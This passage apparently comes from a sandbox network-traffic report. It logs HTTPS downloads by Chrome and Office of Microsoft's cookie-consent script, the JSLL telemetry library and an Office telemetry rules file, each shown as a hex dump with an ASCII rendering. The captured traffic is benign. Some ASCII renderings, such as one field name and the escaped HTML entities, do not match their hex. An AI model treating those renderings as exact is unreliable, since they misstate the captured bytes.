2024-12-04 15:11:23 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-12-04 15:11:23 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-12-04 15:11:23 UTC	16384	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-12-04 15:11:23 UTC	712	IN	Data Raw: 65 6d 65 6e 74 42 79 49 64 28 22 77 63 70 43 6f 6e 73 65 6e 74 42 61 6e 6e 65 72 43 74 72 6c 22 29 7d 2c 65 2e 65 6d 69 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 74 5b 6f 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 3b 76 61 72 20 6e 3d 74 68 69 73 2e 65 76 65 6e 74 73 5b 65 5d 3b 6e 26 26 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 74 29 7d 29 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 65 2e 61 64 64 45 76 65 6e 74 Data Ascii: ementById("wcpConsentBannerCtrl")},e.emit=function(e){for(var t=[],o=1;o<arguments.length;o++)t[o-1]=arguments[o];var n=this.events[e];n&&n.forEach((function(e){e.apply(null,t)}))},e.prototype.addEventListener=function(e,t,o){e.addEventListener?e.addEvent
2024-12-04 15:11:23 UTC	3566	IN	Data Raw: 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 Data Ascii: "-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChang

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.12	49755	13.107.246.43	443	4044	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:11:23 UTC	370	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-04 15:11:23 UTC	889	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:11:23 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241204T151123Z-1746fd949bdlnsqphC1EWRurw0000000017000000000dg1b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:11:23 UTC	15495	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-12-04 15:11:24 UTC	16384	IN	Data Raw: 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 Data Ascii: (i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(
2024-12-04 15:11:24 UTC	16384	IN	Data Raw: 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 Data Ascii: (e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(
2024-12-04 15:11:24 UTC	16384	IN	Data Raw: 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 Data Ascii: (e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};f
2024-12-04 15:11:24 UTC	16384	IN	Data Raw: 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c Data Ascii: l:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return nul
2024-12-04 15:11:24 UTC	16384	IN	Data Raw: 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: o track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(
2024-12-04 15:11:24 UTC	16384	IN	Data Raw: 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 Data Ascii: coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageT
2024-12-04 15:11:24 UTC	16384	IN	Data Raw: 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d Data Ascii: n!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].nam
2024-12-04 15:11:24 UTC	16384	IN	Data Raw: 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 Data Ascii: uthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="sp
2024-12-04 15:11:24 UTC	16384	IN	Data Raw: 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c Data Ascii: )),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.12	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:11:52 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:11:52 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:11:52 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 03 Dec 2024 18:21:00 GMT ETag: "0x8DD13C73D7EC056" x-ms-request-id: 85afd668-301e-0052-47c3-4565d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151152Z-1746fd949bdw2rg8hC1EWR11u400000001kg00000000hphd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:11:52 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticuserinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-12-04 15:11:52 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
